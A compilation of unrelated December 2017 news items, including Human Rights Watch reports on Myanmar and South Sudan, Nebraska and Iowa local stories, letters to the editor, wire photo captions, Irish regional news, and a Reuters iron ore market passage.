HRW also announced on Sunday that satellite images have revealed [HRW report] continued destruction of Rohingya villages despite a memorandum of understanding [JURIST report] signed between Myanmar and Bangladesh on November 23 that would result in refugees returning to Myanmar within two months. On November 25, building destruction was detected in Myo Mi Chang village and four villages were found to have building destruction between November 25 and December 2. According to HRW, a total of 354 villages have been damaged or destroyed since the start of violence at the end of August. Of these, 118 were allegedly damaged or destroyed after September 5, which was when Myanmar announced it had ended clearance operations.

HRW has once again called upon the government of Myanmar to stop all violence against the Rohingya people and allow the UN access for humanitarian efforts and for the investigation in a UN-Fact Finding Mission. HRW has also called for other nations to impose targeted sanctions against Burmese military leaders and military owned enterprises.

In total, 655,000 Rohingya refugees have fled to Bangladesh after the Burmese military allegedly committed widespread killings, rapes, arbitrary arrests, and mass arson. Violence began after militants attacked 30 security force outposts and an army base, killing 11 security force personnel. Violence against the Rohingya Muslim minority was called ethnic cleansing [JURIST report] by the UN High Commissioner for Human Rights Zeid Raad Al Hussein in September. Earlier this month, Hussein stated that he could not rule out the possibility that genocide [JURIST report] is occurring in the region. Several groups have previously condemned the human rights violations in Myanmar, including the UN Security Council, Amnesty International, and Myanmar State Counselor and Nobel Laureate Aung San Suu Kyi [JURIST reports].
UN Special Rapporteur on extreme poverty and human rights Philip Alston warned [statement] Friday that [t]he American Dream is rapidly becoming the American Illusion as the US  now has the lowest rate of social mobility of any of the rich countries.

The statement was made after a two-week visit to the US in which Alston looked at the extreme poverty in America and evaluated whether it undermines the enjoyment of human rights by its citizens.

According to the US Census Bureaus most recent official statistics, more than 40 million Americans are living in poverty [press release]. Alston wrote that most people assume that the poor are people of color, but he found that there are actually about eight million more white people than people of color living in poverty, writing that [t]he face of poverty in America is not only black or Hispanic, but also white, Asian, and many other colours.

Alston also expressed the fear [UN press release] that the proposed changes to US tax and welfare policies may have terrible consequences for those living in poverty. He wrote that [t]he proposed tax reform package stakes out Americas bid to become the most unequal society in the world. He went on to say that it will greatly increase the already high levels of wealth and income inequality between the richest 1% and the poorest 50% of Americans. The cuts to welfare that are already beginning to be implemented by the Trump administration will essentially shred crucial dimensions of a safety net that is already full of holes.

The final report of Alstons visit to the US will be published in spring 2018 and subsequently presented to the Human Rights Council in Geneva in June.
South Sudans top officials have failed to make good on promises to establish an African Union-South Sudanese hybrid court to try international crimes committed during the countrys civil war, Human Rights Watch said today. Four years into the conflict, both parties continue to commit grave human rights crimes against civilians.

Despite the August 2015 Agreement on the Resolution of Conflict in South Sudan (ARCSS), which envisioned the hybrid court, abuses by all parties persist as the conflict continues to spread. South Sudans transitional government has neither ended violations by its army nor made progress toward setting up the court. The lack of progress points to the need for measures like targeted sanctions against officials responsible and an arms embargo, Human Rights Watch said.

The government has consistently let deadlines slip while its forces commit crimes with impunity said Mausi Segun, Africa director at Human Rights Watch. The people of South Sudan deserve justice, not a chain of broken promises, and so the international community should impose consequences.

In September 2017, the AU Peace and Security Council issued a communique on South Sudan, warning that it would consider necessary steps, including sanctions, should the South Sudanese parties continue to delay implementing the peace agreement in full. The United States ambassador to the United Nations, Nikki Haley, during a visit to South Sudan in October, similarly warned of sanctions if the government did not live up to its pledges.

South Sudans civil war began on December 15, 2013, when troops loyal to president Salva Kiir  a Dinka  clashed with those of then-Vice-President Riek Machar  a Nuer  in the capital, Juba. Within hours, mainly Dinka government troops carried out large-scale targeted killings, detentions, and torture of mainly Nuer civilians in various parts of Juba, while thousands of Nuer soldiers defected to an opposition army. In the following months, fighting spread to Bor, Bentiu, Malakal, and across the Greater Upper Nile region. As towns changed hands, soldiers on both sides killed thousands of civilians, often based on their ethnicity, and destroyed and pillaged civilian property.

In late 2015, conflict spread to the Equatorias, as new rebel groups claiming an affiliation formed, and government forces carried out deadly counterinsurgency campaigns in previously stable regions southand west of the capital. Government soldiers and allied fighters have attacked civilians sheltering inside the UN bases in Malakal and Juba, in blatant violation of international law. In July 2016, government and opposition forces fought in Juba and government forces attacked, killed, and raped civilians, including displaced people and foreign aid workers. Since the Juba crisis, government forces have continued to fight rebels in Central and Western Equatoria, Unity, and northern Jonglei.

The impact of the violence and abuses is devastating. More than 4 million people have fled their homes, with more than 2 million now refugees in neighboring countries. In February, the UN declared a famine in parts of Unity state, and almost half the countrys population faces acute food shortages.

In October 2015, the AU released the final report of the Commission of Inquiry on South Sudan (AUCoISS), which found that the warring parties had committed grave human rights abuses and war crimes. The commissions findings were largely consistent with Human Rights Watch reporting, and proposed creating an AU-led process to bring those with the greatest responsibility for the atrocities to account.

The August 2015 agreement included a hybrid court to be established by the AU Commission to investigate and try those responsible for grave abuses since 2013. Under the agreement, the court is to consist of South Sudanese and other African judges and staff. Human Rights Watch findings on significant weaknesses in the national justice system support the need for the court.

More than two years later, the court has yet to be created.

In early 2017, the AU held consultations with the South Sudanese Justice Ministry that led to a draft statute for the court and a memorandum of understanding between the AU and the South Sudanese government on the establishment of the court. Both documents were submitted to the South Sudan council of ministers in August, but the government has taken no further action.

In a September communique, the AU Peace and Security Council said the South Sudanese government should expedite creating the court and completing its part of the agreement, or face necessary steps, including sanction measures, that could ensure effective and efficient implementation of the agreement.

In December, government officials told Human Rights Watch researchers in Juba that a number of key ministers oppose the court, including the communications minister, Michael Makuei  against whom the US brought sanctions in September for undermining the peace process; the cabinet affairs minister, Martin Elia Lomuro; and the defense minister, Kuol Manyang.

Under the August 2015 agreement, the AU Commission has the authority to establish the court with or without the engagement of the South Sudanese government. If the transitional government continues to ignore its responsibilities under Chapter V of the peace agreement, the AU should proceed with the court on its own, Human Rights Watch said.

If a credible, fair, and independent hybrid court does not progress, the option of the International Criminal Court (ICC) remains and should be pursued, Human Rights Watch said. As South Sudan is not a party to the ICC, the UN Security Council would need to refer the situation to the court in the absence of a request from the government of South Sudan.

The AU should ensure progress on the hybrid court, if necessary without cooperation from South Sudans leaders, or consider coercive measures like targeted sanctions against anyone responsible for obstruction, Segun said. If the leaders wont stand by the victims of atrocities, the African Union should step up and show it wont abandon this precedent-setting plan for accountability in one of the continents worst human rights crises.

Documented Violations, Abuses Since the Peace Agreement

Since the 2015 peace deal was signed, Human Rights Watch has documented scores of cases of arbitrary arrests and detention, beatings, and torture, as well as numerous cases of enforced disappearance and extrajudicial killings, mostly by government forces in the context of counterinsurgency operations, but also crimes by opposition forces. Both sides also continued to forcefully recruit children to train and fight, despite pledges to stop. Army commanders overseeing abusive operations have not been investigated.

In March 2016, Human Rights Watch documented that government forces carried out killings, enforced disappearances, rapes, and other grave abuses against civilians belonging to Equatorian ethnic groups in the Western Equatoria region. Among those killed was a 34-year-old man arrested by soldiers in the Napere neighborhood of Yambio in November and detained for two months. His brother said he found the body weeks later: He was tied and his face was rotten. All of his body was rotten. But I recognized him from his clothes, feet, and fingers. The army commander of Yambio at the time, Col. Makeny Makor Buoy, was neither investigated nor tried. He was rotated to his home region of Lakes.

In Wau, in April 2016, researchers discovered that government soldiers had carried out a wide range of often-deadly attacks on civilians in and around the town, killing, torturing, raping, and detaining and disappearing civilians on the basis of their ethnicity, in addition to looting and burning down homes. A 55-year-old woman said that soldiers came to her village outside of Wau in March and shot her 60-year-old husband in the stomach and her 29-year-old son in the neck: We were at home and then we heard shooting and we hit the ground and crawled away when a group of soldiers came in. There was no reason for them to target us. The army commander of Wau at the time, Maj. Gen. Attayib Taitai Gatluak, was not investigated for his role in the crimes committed by his forces there, and has faced no charges for his participation in, or command responsibility for, any crimes.

Government soldiers killed at least 73 civilians, raped dozens of women, and extensively looted civilian property, including humanitarian goods, during and after clashes between government and opposition forces in Juba in July 2016. In many cases, government forces appeared to target non-Dinka civilians. A 35-year-old man said that two army picks-ups surrounded the hotel where he hid with 27 other Nuer men shortly before a ceasefire ended the fighting on July 11. A soldier knocked at the door and asked if any Nuer were staying there. We urged the guard not to open. They asked, Why are you hiding Nuer! and then they started to shoot with their heavy machine guns through the doors and wall. Thats how my friend Mading Chan was killed.

The same day, a large number of soldiers overran the Terrain compound that housed a number of international organizations, executed a Nuer journalist, raped and gang-raped several women, and assaulted dozens of staff. International pressure led the government to establish an ad hoc tribunal to try armed personnel responsible for the attack, but no credible investigation was carried out to determine the responsibility for the scores of South Sudanese women raped, or civilians killed during and after the fighting officially ended in Juba on July 11.

The army chief of staff at the time, Paul Malong Awan, was replaced in April 2017, and has yet to be subject to criminal investigation to determine his responsibility for crimes committed while he was in command. He has since left South Sudan for Kenya.

In October 2016, researchers found that government and opposition forces had committed serious abuses in Yei, including killings, rapes, and arbitrary arrests by the army, and abductions by the rebels. On October 8, rebels ambushed a convoy of civilians leaving Yei and shot indiscriminately at a truck, then set it on fire. An 11-year-old boy who survived the attack said: They started to shoot and I lay down [in the truck]. Others fell on top of me. One had been shot to the head.

In mid-November 2016, an international journalist found seven charred bodies in a mud house in the outskirts of Yei, in a government-controlled area. Witnesses quoted by the Associated Press said the deceased were civilians who had been abducted and killed by men wearing uniforms. More than a dozen former detainees, released at the time of the Human Rights Watch visit, said they had been held by government forces in overcrowded cells in Yei with little food and water and routinely beaten and tortured.

In refugee camps in northern Uganda in May 2017, researchers heard from South Sudanese refugees that government forces indiscriminately fired into civilian settlements in the Equatoria region during counterinsurgency operations, killing many civilians. The attacks forced over a million South Sudanese to abandon their homes and livelihoods and flee across the border.

A woman from Kajo Keji county said that soldiers killed her husband and her two children, ages 5 and 10, while she was cooking dinner at home in January 2017: About 10 soldiers came to our house. My son told me they had come, and my husband went out. They shot him. Then my other son followed him and they shot both boys. One soldier ran after me and severely twisted my arm. I managed to get away. And I just ran. With one arm, how do I care for my other children and my mother? I want to commit suicide.
KEARNEY  Six area entities are leading Kearneys participation in a statewide initiative designed to measure how well Nebraska towns measure up in nine categories known to be important to people seeking out new communities.

Researchers at the University of Nebraska at Kearney are working with the Kearney Visitors Bureau, Kearney Area Chamber of Commerce, Economic Development Council of Buffalo County, city of Kearney, and Hollman Media LLC of Kearney to lead the project. Kearney is one of 27 participating Nebraska communities, according to a press release from Hollman Media.

The community is required to solicit a minimum number of survey responses from residents and visitors. Data will then be compared to aggregate data from all participating communities.

According to the press release, the survey is based on solid research that found that people want nine things in any community.

The groups are asking residents and visitors to help Kearney meet its quota by taking the survey online at KearneySurvey.com.

The survey requires fewer than 10 minutes to complete. It does not collect personally identifiable information.
KEARNEY  The Nebraska Court of Appeals has overturned a Buffalo County judges decision to put a man on probation for a felony sexual assault conviction.

In its ruling issued Tuesday morning, the Court of Appeals said Buffalo County District Court Judge Bill Wright considered forbidden and irrelevant factors when he decided to place Taylor Welty-Hackett on probation.

In February, Wright placed Welty-Hackett on four years of intensive supervised probation for attempted felony first-degree sexual assault of a then-12-year-old girl on Aug. 1, 2015, in Kearney. The charge is punishable by up to 20 years in prison.

The Court of Appeals ordered Welty-Hacketts case be sent back to Buffalo County District Court where he will be re-sentenced by a different judge. A hearing date hasnt been set.

Wright and Buffalo County Attorney Shawn Eatherton both declined to comment on the case. Earlier, Eatherton had argued Welty-Hacketts sentence was too lenient.

During the Feb. 23 sentencing hearing, Wright called Welty-Hacketts victim the aggressor in the case saying, She made the advances.

Wright also told Welty-Hackett he screwed up big time, but Ive got to find some way of bringing balance back into the system, given the nature of whats been occurring in this community.

The Court of Appeals said Wrights statement about the promiscuity of teenage girls and the need to bring balance into sentencing sexual offenders went beyond consideration of the facts in the case.

The Court of Appeals ruled Wright wasnt excusing or justifying Welty-Hacketts actions and specifically stated the victims actions didnt excuse the act. Wright had noted a lack of information in a state probation background check as it related to factors in making his decision.

In the ruling, the Court of Appeals said it couldnt determine from Wrights comments how much weight was given to the permissible and relevant sentencing factors compared with the forbidden and irrelevant factors, but it appeared that the trial court judges reliance upon the impermissible and irrelevant sentence factors largely influenced his decision to impose probation.

Court records outlined the case against Welty-Hackett:

In August 2015, the Kearney Police Department received a report the then-12-year-old girl had sex with Welty-Hackett, 21, at the time. The victim contacted Welty-Hackett on social media.

In September 2015, police obtained four social media files in which Welty-Hackett admitted to having sex with the girl.

Kearney police spoke with the victim, but she declined an interview. An interview with Welty-Hackett revealed the girl claimed to be 22. The two randomly met on social media and eventually met in Kearney and had sex.

The victim didnt cooperate with law enforcement.

According to the court transcript from the sentencing, Wright said although it was clear Welty-Hackett had sex with a 12-year-old, there was minimal information in a state probation background check of Welty-Hackett to know what Welty-Hackett knew about the victim.

Wright said from what he could tell, all contact or all initiation of contact between the two was made by the 12-year-old, and that there was very little background information about what the 12-year-old looked like.

According to Welty-Hacketts account of what happened, the victim was interested in having sex and contacted him, even though she only knew of Welty-Hackett by reputation.

She was the aggressor, she made the advances, Wright said. She actually grabbed him sexually and asked whether he was going to bring condoms.

Although it didnt excuse the incident, Wright said, it reminded him of repeated incidents he had heard about over the last several years of girls who have decided they want an experience and go out and force the issue with people they know are older and probably ought to know a hell of a lot better.

By placing Welty-Hackett on probation, the judge said he was trying to be fair to both parties.

@HubChic
OAKLAND, Iowa  Hundreds came together on Saturday to say goodbye to a special person.

Megan Klindt will be remembered forever, her family and friends said at the teenagers memorial service, held at Riverside High School.

God made only one Megan. She was a loving little gal, said her great-uncle Ralph Lee Klindt.

Klindt, a 16-year-old sophomore at Riverside, died Tuesday after the school bus she was riding in caught fire. The driver, Donnie Hendricks, also died.

Family, classmates mourn loss of Megan Klindt

A memorial was held at Riverside Community Junior-Senior High School on Saturday for sophomore Megan Klindt, 16, who was killed earlier this week in a fire on a school bus in rural Oakland.

About 500 attended her memorial, which was filled with songs of encouragement and words of praise for how Klindt loved God and those she touched.

She had a big personality, was soft-hearted, funny and very, very sassy, said Zachariah Morris, youth pastor at her church.

He said Klindt made the right decision in turning her life over to God.

She is in heaven and a whole lot better place than we are today, Morris said.

The Rev. Michael Kalstrup also had fond memories of Klindt.

She loved to bake, she loved animals and being outside, he said.

Following the service, many left with tears in their eyes.

Amber Hatcher, a junior, recalled the day she met Klindt.

I was new at school, and she came to me and wanted to be my friend, Hatcher said. She was sweet, loving, caring.

Karlee Connell, a sophomore, had a similar experience on her first day of class.

Megan was the first person to welcome me with open arms, she said.

Funeral services for Hendricks will be Monday at 10:30 a.m. at Carson United Methodist Church.
Teen runaways. Exasperated adults who dont want to be found. A couple who were brutally murdered years ago but whose bodies never were located.

Nebraskas missing-persons list contains the names of 571 people, but the list is a mixture of people newly reported missing, cold cases and, likely, people long dead. An average of 22 people are added to the list every day.

Most of the people return safely within days. But some disappear without a trace.

Very few cases generate the national attention as that of 24-year-old Sydney Loofe, who was reported missing Nov. 16 and whose body was found Dec. 4. Officials suspect foul play in her death.

State officials are hoping to improve the list and the way its compiled and updated.

Law enforcement authorities say they know it has limitations.

The problem is volume, said Omaha Police Capt. Michele Bang. We count on the fact that most of them are going to be found. Which ones going to be the needle in the haystack thats the one that we should be focusing on?

Officials seeking to determine whether a missing person is in danger must analyze abnormal behavior, family history and risk factors such as age, mental health and circumstances of the disappearance.

Law enforcement agencies must enter missing-persons cases into a national database hours after they receive a credible report, Bang said. Officers put out broadcasts on police radios or see if an Amber Alert is necessary. The case of a 5-year-old who may have been abducted carries more weight than that of an adult who may have chosen to cut ties with family and friends.

The Nebraska State Patrol hosts the central missing-persons website for the state.

The Missing Persons Clearinghouse was created on National Missing Childrens Day  May 25, 2005  when state legislators passed a bill known as Jasons Law.

Jason Jolkowski, then 19, disappeared outside his Omaha home on June 13, 2001. He was walking to meet a co-worker for a ride to work. He still has not been found.

Two civilian workers for the patrol manually enter missing-persons cases that they receive either through the national missing-persons database or direct communication with law enforcement.

Its a single place the public can go and get information about all missing persons in Nebraska and receive information with credibility, said Sgt. Richard Aldag with the patrol.

Because cases often are canceled so quickly, the list is constantly changing. The 571 people who were on the list Friday had been reported missing by 82 law enforcement agencies.

This year the patrol has entered more than 7,600 reports, and 80 percent have been juveniles. Nearly just as many have been cleared.

The list contains some recognizable names.

The person who has been missing the longest is Leslie Arnold, the Omaha teen who killed his parents and escaped from prison roughly a decade later, on July 15, 1967.

Even though there have been murder convictions in connection with some of the missing-persons cases, if the persons body is not found, the person still is considered missing.

Vanderlei Szczepanik, Jaqueline Szczepanik and their 7-year-old son, Christopher, were killed by Jose Oliveira-Coutinho on Dec. 17, 2009. After Oliveira-Coutinho told police he dumped the bodies in the Missouri River, a diver found Christophers remains. But Vanderlei and Jaqueline remain on the list because their bodies havent been recovered.

Peru State College student Tyler Thomas of Omaha last was seen on Dec. 3, 2010. She still is listed as missing even though authorities in October charged Joshua Keadle with murder in connection with her disappearance.

You want to leave those cases open in case their remains are found elsewhere, the manager who oversees the list said.

Some names also may have remained on the list because of an error or oversight. The patrol relies on the reporting agency to say whether a formerly missing person has been found.

One example: A 28-year-old Lincoln woman had been listed on the patrols missing-persons database since Oct. 22. But the woman was charged Nov. 20 in Lancaster County with drug possession and appeared in court Dec. 8.

After a reporter asked the patrol and the Lincoln Police Department about the entry, the womans name was removed from the database.

The patrol said Lincoln police submitted the case through a form, but never notified the patrol about the cancellation. Officer Angela Sands, a spokeswoman for the Lincoln Police Department, said, however, that according to department records, Lincoln police never entered the womans name into the national missing-persons database because officials werent worried for her safety. Lincoln police canceled a missing notification on Oct. 26.

Aldag said the patrol is looking at automating the list, which would eliminate discrepancies and immediately update it as law enforcement agencies make changes. Officials have a meeting planned for January to talk with developers and figure out how to fund the switch. Currently, if someone is reported missing over the weekend, that persons name wont appear on the list until Monday.

With automation, Aldag said, we can turn it down to a matter of hours, from when the report comes in, populated and available for the public.

The advantage of the states list over social media platforms such as Facebook and Twitter is that the information is vetted through authorities.

Misinformation was spread online when Loofe was missing, Sands said.

One person created a flyer of photos of other recent missing Lincoln women, incorrectly suggesting that they were linked to Loofes case.

It was creating a false narrative of an epidemic of missing women in Lincoln, Sands said. The media attention came around the Sydney Loofe case because there were suspicious circumstances from the get-go on hers where there wasnt in the other cases.

Law enforcement officials also have benefited from information posted on social media concerning a persons recent whereabouts or last known contacts, said Bang of the Omaha Police Department.

Many of the people on the list are teen runaways who soon will return home, but that doesnt mean authorities think they shouldnt be on the list. Juveniles who spend nights on the street or in unfamiliar places easily could end up in trouble, officials say.

Kids might be more savvy or may have a wider net of places they may go ... but where theyre not savvy is recognizing the danger that theyre putting themselves in, Bang said. They dont necessarily understand it, and thats what makes them easy to be victimized.
Where is J. William Fulbright when we need him? Or Robert M. La Follette or George W. Norris, asks Andrew J. Bacevich this week in an op-ed for the Los Angeles Times. As professor emeritus of history and international relations at Boston University, Bacevich contends Fulbright, La Follette and Norris are the brand of elected representatives we need so badly in Washington, D.C., these days.

Fulbright, a U.S. senator from Arkansas, contributed mightily to U.S. diplomacy. Known as Fighting Bob, La Follette served three terms as governor of Wisconsin and represented his state in both houses of Congress. He wanted government in the hands of citizens. Nebraskans know Norris as the impetus behind Lake McConaughy, but hes more widely known as the father of the Tennessee Valley Authority, the system of dams that provide flood control, recreation, navigation and economic development.

These three statesmen made impacts in diplomacy, governmental policy and depression-era economics, but their contributions were amplified because they refused to kowtow to whomever occupied the Oval Office.

A century ago, wrote Bacevich, La Follette of Wisconsin and Norris of Nebraska, both progressive Republicans, spoke eloquently and at length in opposition to President Woodrow Wilsons insistence that the United States should go to war with Germany.

Wilson prevailed and the United States entered the war, but the armistice he helped construct later planted the seeds for WWII.

Three decades later, Fulbright, a Democrat from Arkansas and the influential chair of the Senate Foreign Relations Committee, became a thorn in Lyndon B. Johnsons side as a sharp critic of the Vietnam War, wrote Bacevich.

Fulbright, La Follette and Norris each opposed presidents they saw as too self-assured and overly confident.

Bacevich concluded: These senators were not necessarily correct in their judgments. Yet by drawing widespread public attention to foreign policy issues of first-order importance, they obliged their adversaries in the White House to make their case to the American people.

The policies of Wilson and Johnson were vetted in the back-and-forth between the presidents and senators, a rhetorical exercise we desperately need to see more of these days.
Yes, Virginia (Kearney). There is a Santa Claus.

Can you believe it has been 120 years since little Virginia OHanlon wrote to the editor of the New York Sun asking if there was a Santa Claus? The editor, Francis Pharcellus Church, responded to Virginia saying that Santa was not only real, but that he lives forever and that the most real things in the world are those that cant be seen.

Whether you say it is Santa or the Spirit of Christmas, it doesnt really matter. What matters is the fact that even 120 years later, I can say that Santa or the Spirit of Christmas is alive and well in Kearney. Throughout 2017 I have witnessed that spirit spreading love and generosity throughout Kearney.

It touched the members of churches and other groups asking them to help support HelpCare Clinic. It whispered directly to individuals to provide care to patients at the clinic. It moved the hearts of homeowners to offer their homes for a fundraiser. It encouraged business owners to sponsor, donate prizes and sell tickets for the fundraiser. It spurred a committee of individuals to give of their time and talent to conduct the fundraiser. And, then it inspired the community to donate generously to Give Where You Live to support a variety of non-profits, the HelpCare Clinic among them.

These are just a few of the ways I know the Spirit of Christmas exists and it has made Kearney one of the best places I know of to live, and for that I say, thank you. May the Spirit of Christmas continue to bless your lives with love, compassion and generosity.

Cheryl Bressington, Kearney
I was so glad to see Nebraska Farm Bureau President Steve Nelsons clarification (Letters to the Editor, Hub, Dec. 14) of why we should be grateful to Rep. Adrian Smith and Sen. Deb Fischer. I want to make sure I have this right.

We are grateful to Fischer and Smith because they are standing up for farmers and ranchers and agribusiness depending on export markets.

The export markets are endangered by renegotiations of NAFTA and other trade agreements, renegotiations that endanger those trade agreements and our exports.

The renegotiations are the doing of the Trump administration.

Donald Trump campaigned promising to get us out of those trade agreements and he was supported in his campaign by Smith and Fischer  and many farmers, ranchers and agri-business leaders who Smith and Fischer helped persuade to support him.

And now that the president is undoing the very things he said he would undo, with the full backing of Smith and Fischer, we should be grateful to them for standing up for us. Have I missed anything?

Charles A. Peek, Kearney
This Wednesday, Oct. 26, 2016, photo shows a Twitter sign outside of the company's headquarters in San Francisco. Twitter will be enforcing stricter policies on violent and abusive content such as hateful images or symbols, including those attached to user profiles, the company announced Monday, Dec. 18, 2017. (AP Photo/Jeff Chiu)
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A Kelowna man uses a snowblower to clear a driveway after a winter storm in 2018. The City of Kelowna runs a Snow Angel program encouraging people to shovel the walks and driveways of neighbours with physical challenges.
Herbert and Audrey Goodine kiss in a handout photo from their daughter Dianne Phillips. An elderly New Brunswick couple bid a tearful goodbye this week, separated just days before Christmas after 73 years together. THE CANADIAN PRESS/HO-Dianne Phillips MANDATORY CREDIT
Secretary of State Rex Tillerson meets with Canadian Foreign Minister Chrystia Freeland at State at the State Department in Washington, Wednesday, Oct. 11, 2017. The North Korea nuclear crisis will be one of several topics of conversation when Tillerson makes his first visit to Canada as secretary of state on Tuesday, American officials said.THE CANADIAN PRESS/AP/Sait Serkan Gurbuz
Candidate Kellie Leitch speaks during the opening night of the federal conservative leadership convention in Toronto on Friday, May 26, 2017. Three Conservative MPs who sought the party's leadership earlier this year are bracing for a fight to represent the party at all come 2019. THE CANADIAN PRESS/Fred Thornhill
Family and friends comfort each other after Fred Van Zuiden, 85, was charged with the murder of wife Audrey at the courthouse in Calgary, Alberta on Wednesday, Oct. 5, 2016. Fred van Zuiden turned 87 last month at a secure psychiatric hospital. Visitors sang "Happy Birthday" in Dutch, as his English is fading. Cake was allowed, but it had to be served with plastic cutlery and without candles. Van Zuiden has dementia. In October 2016, Calgary police charged him with second-degree murder in the death of his wife of nearly six decades, Audrey. Loved ones have described them as soulmates. THE CANADIAN PRESS/Larry MacDougal
A man looks at his mobile phone while walking past an iPhone 6 advertisement outside the headquarters of Telus in Vancouver, B.C., on Thursday December 18, 2014. THE CANADIAN PRESS/Darryl Dyck
FILE - In this Thursday, Nov. 9, 2017, file photo, U.S. President Donald Trump waves next to Chinese President Xi Jinping after attending a joint press conference at the Great Hall of the People in Beijing. China's main official news agency is warning U.S.-Chinese relations will face "more pressure and challenges" following President Donald Trump's decision to label Beijing a rival. (AP Photo/Andy Wong, File)
Senate Majority Leader Mitch McConnell, R-Ky., accompanied at right by Secretary for the Majority Laura Dove, walks to the chamber as Republicans in the House and Senate plan to pass the sweeping $1.5 trillion GOP tax bill on party-line votes, at the Capitol in Washington, Monday, Dec. 18, 2017. (AP Photo/J. Scott Applewhite)
A semi-truck with visible damage to its hood sits parked on the shoulder just ahead of a car covered in mud and debris and with a smashed windshield just beyond where an Amtrak train lay spilled onto Interstate 5 below as some train cars remain on the tracks above Monday, Dec. 18, 2017, in DuPont, Wash. The Amtrak train making the first-ever run along a faster new route hurtled off the overpass Monday near Tacoma and spilled some of its cars onto the highway below, killing some people, authorities said. (AP Photo/Elaine Thompson)
FILE - In this Dec. 6, 2017, file photo, Vice President Mike Pence listens as President Donald Trump speaks in the Diplomatic Reception Room of the White House in Washington. Pence is postponing his trip to Egypt and Israel until the middle of January, citing an upcoming vote in the Senate to overhaul the nation's tax system. (AP Photo/Alex Brandon, File)
Workers look over tracks near the rear car of a crashed Amtrak train that remains standing where the southbound tracks make a curve left Tuesday, Dec. 19, 2017, in DuPont, Wash. The Amtrak train that careened off the overpass south of Seattle killing a few people on Monday, federal investigators say. (AP Photo/Elaine Thompson)
FILE - In a Wednesday, Aug. 16, 2017 file photo, Charlottesville Police Chief Al S. Thomas Jr. exits the memorial service for Heather Heyer, at the Paramount Theater in Charlottesville, Va. Heyer was killed when a car rammed into a crowd of people protesting a white nationalist rally. Thomas Jr., who was criticized over the department's response to the violent white nationalist rally this summer, announced his retirement Monday, Dec. 18, 2017, effective immediately. (Andrew Shurtleff/The Daily Progress via AP, Pool, File)
PLEASANT PRAIRIE  The Village Board approved the terms of a purchase agreement with an international candymaker which expects to buy a 137-acre parcel from the village for $21 million before the end of the month.

Haribo, a confectionary based in Bonn, Germany, plans to build its first U.S. manufacturing facility at that site, as proposed earlier this year.

The land purchase agreement received unanimous approval of the Village Board Monday night and followed a closed session in which trustees met with its attorneys who have been negotiating with Haribo.

In March, the company proposed a $242 million facility in the Prairie Highlands Corporate Park on land at the northwest corner of County Highway Q and Interstate 94. The manufacturer, known for its Gold Bears gummy candies, expects to create 400 jobs with a facility projected to open in 2021.

The Plan Commission on Monday night also approved a certified survey map, which represents a subdivision of the original 458-acre parcel the village purchased from a subsidiary of Abbott Laboratories in May for $37.5 million for the purposes of development.

Haribo is buying the northern parcel, while the village retains the remaining portion upon which a future water tower is also planned, according to Jean Werbie-Harris, the villages community development director.

The agreement is structured on a tiered closing system which allows for the $21 million purchase price to be finalized in two stages, according to village officials.

A payment of $13 million would be due at the first closing that would occur no later than Dec. 27, according to the agreement.

The second closing with the remaining payment of $7.6 million would be due after the village work on roads, stormwater retention ponds and other infrastructure, according to Pleasant Prairie interim administrator Tom Shircel.

Haribo, according to the agreement, would have 120 days to work on the other details, including declaration documents and a developers agreement. If the purchase is not finalized within that period, the village has the option of buying the land back from Haribo or the company could choose to give it back.

As this agreement is drafted were very hopeful as the first closing has to occur before the end of the year, said Kevin Long, an attorney with Quarles and Brady, representing the village in the negotiations.

We think were very, very close, he said, adding that 120 days would be sufficient time.

Once all of the documents have been agreed upon, grading and other site preparations could begin in the spring and construction would begin in the spring of 2019. The village would then be able to start improvements on infrastructure and roads.

Also as part of the purchase plan, Haribo would agree to invest $40 million for construction improvements for building the facility.

The village continues to negotiate with Haribo, Long said.

Shircel said the agreement is one of several documents related to the Haribo development that will come before the board and commission over the next few months. A development agreement and zoning proposal will be among them as the process continues, he said.

Im hoping this is the beginning of a fruitful relationship between the village, the Village Board and Haribo Manufacturing of America, he said.
One Brexit readiness voucher has been approved in Kilkenny from a total of 24 nationwide.

Fianna Fail's Niall Collins asked the Minister for Business, Enterprise and Innovation for the number of Brexit readiness vouchers from InterTradeIreland that have been availed of since being established, by county; and the value of such vouchers.

The voucher goes towards professional advice in relation to Brexit matters.

InterTrade says the support can help your business get advice on specific issues such as movement of labour, goods, services and currency management.

The assistance requested must relate to a cross-border issue.

Minister Heather Humphreys said: Since the establishment of its Brexit Advisory Service, InterTrade Ireland has approved 24 vouchers for companies in Ireland.

In addition, there are 17 voucher applications currently pending. The value of each voucher is 2,000.

Only fourteen counties were listed as having companies receive a voucher.

Kilkenny has had one voucher approved and has another one pending.

InterTradeIreland is a Cross-Border Trade and Business Development Body funded by the Government.

In total 24 Brexit readiness vouchers have been approved across the country with 17 pending.
St Lukes General Hospital has asked people to attend their GP or CareDoc in the first instance where possible, as the Kilkenny hospital endures its worst overcrowding of the year so far, according to data from Trolleywatch.

INMO figures for the local hospital show 47 patients waiting on trolleys and wards today, up from 37 on yesterday. Overcrowding has been a significant issue at various points this year.

Following an enquiry from the Kilkenny People, a statement from the Ireland East Hospital Group confirmed that Surgical wards 1 and 2 are both fully open at present. As part of winter planning, funding has been made available for an additional 14 escalation beds, and a recruitment drive is under way in order to provide staff for these additional beds.

St Lukes General Hospital Carlow/Kilkenny is currently experiencing high demand on its ED with several people presenting with a variety of complex needs. Staff and Management at St Lukes, with the support of the Ireland East Hospital Group, are continuing to work within their escalation protocol to prioritise the discharge of patients where appropriate as soon as possible," says the statement.

"The hospital would ask that, where possible, patients visit their GPs or CareDoc in the first instance. Patients with less complex needs attending the ED may experience longer waiting times.

This year has been the worst year so far for overcrowding at St Lukes General Hospital in Kilkenny since INMO data collection began, with record numbers left without a bed in 2017. Between January and July, a total of 2,456 patients were waiting on trolleys and wards - an increase of 497 people on the number for the same period last year.
* Rises in iron ore, coking coal follow sharp gains on Monday

* Spot iron ore above $74/T, highest since mid-September

By Manolo Serapio Jr

MANILA, Dec 19 (Reuters) - Iron ore futures in China rallied for a second session on Tuesday, supported by demand from steel producers for high-grade raw material to boost productivity.

Iron ore prices had previously tracked movements in the steel market, but the gains in the raw material came even as steel futures retreated. Coking coal prices jumped nearly 5 percent.

The most-traded iron ore on the Dalian Commodity Exchange had risen 1.4 percent to 532 yuan a tonne by 0249 GMT, adding to Monday's 7.1-percent spike.

"The preference for high-grade iron ore is still there, but I didn't see any tightness in supply," said a Shanghai-based iron ore trader, suggesting the sharp price increase since Monday was unwarranted.

"But currently the physical market continues to follow paper trading, so we'll see spot prices rising further."

